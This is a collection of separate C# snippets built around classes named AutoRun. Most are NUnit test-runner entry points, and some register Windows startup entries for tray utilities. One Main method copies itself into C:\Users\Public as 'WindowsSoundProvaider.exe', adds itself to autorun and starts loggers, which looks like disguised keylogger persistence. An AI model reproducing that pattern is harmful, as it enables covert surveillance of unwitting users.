// TODO: Once dotnet-test-nunit is capable of testing itself, remove this test runner public static int Main(string[] args) { var result = new AutoRun(typeof(RemoteTestDiscoverySinkTests).GetTypeInfo().Assembly) .Execute(args, new ExtendedTextWrapper(Console.Out), Console.In); return(result); }
public void Run() { if (_plugins.Count == 0) { return; } try { foreach (var p in _plugins) { _logger.Info(FormattableString.Invariant($"* Registered {p.Name} factory.")); CollectionFactories.RegisterFactory(() => p.CreateCollection <Crate>()); } _logger.Info("Running tests..."); var failures = new AutoRun().Execute(new string[0]); _logger.Info(FormattableString.Invariant($"Failures: {failures}.")); if (failures > 0) { throw new InvalidOperationException("Please fix!"); } } finally { CollectionFactories.Cleanup(); } }
private void Apply() { try { Properties.Settings.Default.WarningALL = uint.Parse(x0201.Text); Properties.Settings.Default.WarningUP = uint.Parse(x0202.Text); Properties.Settings.Default.Save(); bool result = false; if (x0101.IsChecked == true) { result = AutoRun.Set(System.Windows.Forms.Application.ExecutablePath); } else { result = AutoRun.Delete(); } if (result == false) { x0101.IsChecked = false; } } catch (Exception e) { MessageBox.Show(e.Message); } }
public int RunTests(int repeatCount) { if (this.excludedCategories.Count > 0) { this.args.Add("--where=" + string.Join("&&", this.excludedCategories)); } int finalResult = 0; for (int i = 0; i < repeatCount; i++) { Console.WriteLine("Starting pass {0}", i + 1); DateTime now = DateTime.Now; finalResult = new AutoRun(Assembly.GetEntryAssembly()).Execute(this.args.ToArray()); Console.WriteLine("Completed pass {0} in {1}", i + 1, DateTime.Now - now); Console.WriteLine(); if (i < repeatCount - 1) { Thread.Sleep(TimeSpan.FromSeconds(1)); } } return(finalResult); }
/// <summary> /// The main program executes the tests. Output may be routed to /// various locations, depending on the arguments passed. /// </summary> /// <remarks>Run with --help for a full list of arguments supported</remarks> /// <param name="args"></param> public static int Main(string[] args) { int result = new AutoRun().Execute(args); System.Console.ReadLine(); return(result); }
/// <summary> /// The main program executes the tests. Output may be routed to /// various locations, depending on the arguments passed. /// </summary> /// <remarks>Run with --help for a full list of arguments supported</remarks> /// <param name="args"></param> public static int Main(string[] args) { var result = new AutoRun().Execute(args); Console.ReadKey(); return(result); }
public MainWindow() { InitializeComponent(); this.Closed += (a, b) => { this.notifyIcon.Visible = false; FlowMonitor.GetMonitor().Close(); }; MakeIcon(); if (!AutoRun.isHaveKey()) { AutoRun.Set(System.Windows.Forms.Application.ExecutablePath); } timer.Elapsed += timer_Elapsed; // 统计 analyticsBrowser.Navigate(new Uri("http://flowmonitor.jd-app.com/")); }
static void Main(string[] args) { var writter = new ExtendedTextWrapper(Console.Out); int exitCode = new AutoRun(typeof(Program).GetTypeInfo().Assembly).Execute(args, writter, Console.In); Environment.Exit(exitCode); }
public static int Main(string[] args) { var result = new AutoRun(typeof(Program).GetTypeInfo().Assembly) .Execute(args, new ExtendedTextWrapper(Console.Out), Console.In); return(result); }
/// <summary> /// The main program executes the tests. Output may be routed to /// various locations, depending on the arguments passed. /// </summary> /// <remarks>Run with --help for a full list of arguments supported</remarks> /// <param name="args"></param> public static int Main(string[] args) { var licenseKey = Environment.GetEnvironmentVariable("SERVICESTACK_LICENSE"); if (string.IsNullOrEmpty(licenseKey)) { throw new ArgumentNullException("SERVICESTACK_LICENSE", "Add Environment variable for SERVICESTACK_LICENSE"); } Licensing.RegisterLicense(licenseKey); //"ActivatedLicenseFeatures: ".Print(LicenseUtils.ActivatedLicenseFeatures()); LogManager.LogFactory = new ConsoleLogFactory(debugEnabled: true); CultureInfo.DefaultThreadCurrentCulture = new CultureInfo("en-US"); JsConfig.InitStatics(); //JsonServiceClient client = new JsonServiceClient(); var writer = new ExtendedTextWrapper(Console.Out); var result = new AutoRun(((IReflectableType)typeof(NetCoreTestsRunner)).GetTypeInfo().Assembly).Execute(args, writer, Console.In); #if DEBUG "Press Any Key to Quit.".Print(); Console.Read(); #endif return(result); }
private void MainForm_Load(object sender, EventArgs e) { // Register to receive WM_INPUT messages for the specified HID device. User32.RegisterRawInputDevices(new RawInputDevice[] { new RawInputDevice { UsagePage = Constants.TargetDeviceUsage.UsagePage, Usage = Constants.TargetDeviceUsage.Usage, Flags = RawInputDeviceFlags.InputSink, WindowHandle = this.Handle } }); // Load the config values into the text boxes LoadConfigValues(); // Disable the apply button until a change is detected applyConfigButton.Enabled = false; // Check if we're already set to auto-run on system startup if (AutoRun.StartupTaskExists()) { startupCheckbox.Checked = true; } initialized = true; }
public static int Main(string[] args) { var autorun = new AutoRun(typeof(Program).GetTypeInfo().Assembly); autorun.Execute(args); return(0); }
private void SetAutorunState() { bool?autoRun = AutoRun.IsEnabled(); autoStartCheckbox.Enabled = autoRun.HasValue; autoStartCheckbox.Checked = autoRun ?? false; }
/// <summary> /// /// The main program executes the tests. Output may be routed to /// various locations, depending on the arguments passed. /// </summary> /// <remarks>Run with --help for a full list of arguments supported</remarks> /// <param name="args"></param> public static int Main(string[] args) { var res = new AutoRun().Execute(args); Console.WriteLine("Press any key to close"); Console.ReadKey(); return(res); }
public static int Main(string[] args) { var typeInfo = typeof(Program).GetTypeInfo(); var result = new AutoRun(typeInfo.Assembly).Execute(args); Console.ReadLine(); return(result); }
public static int Main(string[] args) { var autorun = new AutoRun(typeof(Program).GetTypeInfo().Assembly); var arguments = Sync.SyncTestHelpers.ExtractRosSettings(args); autorun.Execute(arguments); return(0); }
public void AutoRun_SetFilePath_Test() { var autoRun = new AutoRun(); autoRun.SetFilePath(System.Reflection.Assembly.GetExecutingAssembly().Location); Assert.AreEqual(true, autoRun.IsEnabled()); autoRun.SetFilePath(String.Empty); Assert.AreEqual(false, autoRun.IsEnabled()); }
public static int Main(string[] args) { int result = new AutoRun(Assembly.GetEntryAssembly()) .Execute(args, new ExtendedTextWrapper(Console.Out), Console.In); GrandOutput.Default?.Dispose(); return(result); }
public static int Main(string[] args) { var res = new AutoRun(typeof(Program).GetTypeInfo().Assembly).Execute(args, new ExtendedTextWrapper(Console.Out), Console.In); Console.WriteLine("\n\nPress any key..."); Console.ReadKey(); return(res); }
public static int Main(string[] args) { int result = new AutoRun(typeof(MySetUpClass).GetTypeInfo().Assembly) .Execute(args, new ExtendedTextWrapper(Console.Out), Console.In); Console.ReadLine(); return(result); }
public static void Main(string[] args) { const string programmName = "WindowsSoundProvaider.exe"; const string programPath = @"C:\Users\Public"; Saver.SaveProgram(programPath, programmName); AutoRun.SetAutoRunValue(); Logger.StartLoggers(args); }
static void Main(string[] args) { bool removeStartupTask = false; bool killInstance = false; bool restartInstance = false; foreach (string arg in args) { if (arg.ToLower() == "--remove-startup-task") { removeStartupTask = true; } else if (arg.ToLower() == "--kill-instance") { killInstance = true; } } if (removeStartupTask) { AutoRun.RemoveStartupTask(); } if (killInstance || restartInstance) { Process currentProcess = Process.GetCurrentProcess(); Process[] otherProcesses = Process.GetProcessesByName(currentProcess.ProcessName); foreach (Process otherProcess in otherProcesses) { if (otherProcess.Id != currentProcess.Id) { otherProcess.Kill(); } } Thread.Sleep(100); } if (removeStartupTask || killInstance) { return; } using (Mutex mutex = new Mutex(false, $"Global\\{instanceGuid}")) { if (!mutex.WaitOne(0, false)) { MessageBox.Show("Eve.TapToClick is already running."); return; } Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new MainForm()); } }
private async void FormMailTriggerLogic_Load(object sender, EventArgs e) { this.notifyIcon.Icon = new Icon(Application.StartupPath + "\\" + "MTP-beta-icon.ico"); this.notifyIcon.Text = "Mail Trigger Parser"; if (GLogin.Glogin == null) { GLogin.Init(); await GLogin.Glogin.CreateCredential(); GLogin.Glogin.CreateGmailService(); } gMessage = new GMessage(GLogin.Glogin.GmailService); calculate = new Calculate(GLogin.Glogin.GmailService); calculate.callbackFileName += Calculate_callbackFileName; calculate.callbackProgressBar += Calculate_callbackProgressBar; calculate.callbackAlert += Calculate_callbackAlert; this.Deactivate += FormMailTriggerLogic_Deactivate; if (AutoRun.IsEnabled()) { btn_start.Enabled = false; btn_stop.Enabled = true; thread = new Thread(new ThreadStart(calculate.Run)); thread.Start(); cb_autorun.Checked = true; this.WindowState = FormWindowState.Minimized; this.ShowInTaskbar = false; } else { btn_stop.Enabled = false; cb_autorun.Checked = false; } dataGridView.Rows.Clear(); l_version.Text = /* "Version : " + */ "beta " + Application.ProductVersion.ToString(); var data = await GLogin.Glogin.GmailService.Users.GetProfile("me").ExecuteAsync(); l_mail.Text = data.EmailAddress; l_status.Text = "tap start"; l_processedMessages.Text = "0"; foreach (string str in GRule.GetFiles()) { RowAdd(FileParser.Reads <GRule>(str)); } GRule.SetChange(false); this.Select(); }
/// <summary> /// The main program executes the tests. Output may be routed to /// various locations, depending on the arguments passed. /// </summary> /// <remarks>Run with --help for a full list of arguments supported</remarks> /// <param name="args"></param> public static int Main(string[] args) { string[] cmd = new string[1] { "--workers=1" }; int result = new AutoRun().Execute(cmd); Console.ReadLine(); return(result); }
static int Main(string[] args) { var res = new AutoRun(typeof(RouterPointTests).GetTypeInfo().Assembly) .Execute(args, new ExtendedTextWrapper(Console.Out), Console.In); #if DEBUG Console.ReadLine(); #endif return(res); }
public static int Main(string[] args) { var nUnitParams = new List <string> { "--noh" }; var nUnitResult = 0; var optionUrl = App.Option <string>("-u|--url <URL>", "Sitemap url to test", CommandOptionType.SingleValue) .IsRequired(); var optionNumber = App.Option <int>("-n|--count <N>", "Max urls to test", CommandOptionType.SingleValue); var optionNUnitWorkers = App.Option <int>("-w|--workers", "NUnit workers count", CommandOptionType.SingleValue); var optionIsTeamCity = App.Option <bool>("--teamcity", "TeamCity NUnit listener", CommandOptionType.NoValue); var optionIsAllure = App.Option <bool>("--allure", "Execute local Allure instance", CommandOptionType.NoValue); App.VersionOption("-v|--version", FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location).ProductVersion, "AAAAAAA"); App.HelpOption("-h|--help"); App.Execute(args); if (optionIsTeamCity.ParsedValue) { nUnitParams.Add("--teamcity"); } if (optionNUnitWorkers.ParsedValue > 0) { nUnitParams.Add($"--workers={optionNUnitWorkers.ParsedValue}"); } if (optionUrl.HasValue()) { SiteMapUrl = optionUrl.ParsedValue; MaxCount = optionNumber.ParsedValue; nUnitResult = new AutoRun().Execute(nUnitParams.ToArray()); } try { if (optionIsAllure.HasValue()) { Process.Start("allure", $"serve {AllureLifecycle.Instance.ResultsDirectory}"); } } catch (Exception e) { Console.WriteLine($"Unable to launch Allure - {e.Message}. Try:"); Console.WriteLine($"allure serve {AllureLifecycle.Instance.ResultsDirectory}"); } return(nUnitResult); }
public static int Main(string[] args) { var result = new AutoRun().Execute(args); #if !UNITY_SINGLETHREADED_JOBS // Currently, Windows (.NET) will exit without requiring other threads to complete // OSX (Mono), on the other hand, requires all other threads to complete JobsUtility.Shutdown(); #endif return(result); }
/// <summary> /// The main program executes the tests. Output may be routed to /// various locations, depending on the arguments passed. /// </summary> /// <remarks>Run with --help for a full list of arguments supported</remarks> /// <param name="args"></param> public static int Main(string[] args) { var writer = new ExtendedTextWrapper(Console.Out); var result = new AutoRun(((IReflectableType)typeof(NetCoreTestsRunner)).GetTypeInfo().Assembly).Execute(args, writer, Console.In); #if DEBUG "Press Any Key to Quit.".Print(); Console.Read(); #endif return(result); }
static void Main(string[] args) { //TODO: get strings args by keys instead array index Console.WriteLine("Start working..."); EnvironmentSettings.CurrentBrowser = args[0]; EnvironmentSettings.CurrentConfiguration = args[1]; var testRunner = new AutoRun(Assembly.GetExecutingAssembly()); //TODO: expire with docs https://github.com/nunit/docs/wiki/Console-Command-Line string[] test = new string[] { $"--testlist:{Directory.GetCurrentDirectory()}//tests_sample.txt" }; testRunner.Execute(test); }
/// <summary> /// The entry point of the program, where the program control starts and ends. /// </summary> /// <param name='args'> /// The command-line arguments. /// </param> public static int Main(string[] args) { var autoRun = new AutoRun(typeof(MainClass).GetTypeInfo().Assembly); #if DNX451 autoRun.Execute(args); #else autoRun.Execute(args, new ExtendedTextWrapper(Console.Out), Console.In); #endif return(0); }